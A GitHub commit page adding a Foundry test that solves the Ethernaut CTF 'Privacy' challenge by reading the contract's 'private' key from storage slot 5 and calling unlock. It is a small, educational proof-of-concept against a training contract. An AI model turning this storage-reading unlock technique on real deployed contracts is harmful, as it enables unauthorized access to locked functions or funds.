-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
51 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
// SPDX-License-Identifier: GPL-3.0 | ||
pragma solidity ^0.8.0; | ||
|
||
import '../../src/EthernautCTF/Privacy.sol'; | ||
import '@forge-std/Test.sol'; | ||
import '@forge-std/console2.sol'; | ||
|
||
contract PrivacyExploit is Test { | ||
Privacy target; | ||
address deployer = makeAddr('deployer'); | ||
address exploiter = makeAddr('exploiter'); | ||
|
||
function setUp() public { | ||
vm.startPrank(deployer); | ||
bytes32[3] memory data = [ | ||
bytes32('0x0a'), | ||
bytes32('0x0b'), | ||
bytes32('0x0c') | ||
]; | ||
target = new Privacy(data); | ||
console2.log('Target contract deployed'); | ||
vm.stopPrank(); | ||
} | ||
|
||
function readBytes32FromTargetStorage( | ||
uint256 _slot | ||
) public view returns (bytes32) { | ||
return vm.load(address(target), bytes32(_slot)); | ||
} | ||
|
||
function testExploit() public { | ||
assertTrue(target.locked()); | ||
console2.log('Contract locked'); | ||
|
||
// Storage layout | ||
// - slot 0: bool locked | ||
// - slot 1: uint256 ID | ||
// - slot 2: uint8 flattening + uint8 denomination + uint16 awkwardness | ||
// - slot 3: bytes32 data[0] | ||
// - slot 4: bytes32 data[1] | ||
// - slot 5: bytes32 data[2] | ||
console2.log('Read key from storage'); | ||
bytes32 slot5 = readBytes32FromTargetStorage(5); | ||
|
||
bytes16 key = bytes16(slot5); | ||
target.unlock(key); | ||
assertFalse(target.locked()); | ||
console2.log('Contract unlocked'); | ||
} | ||
} |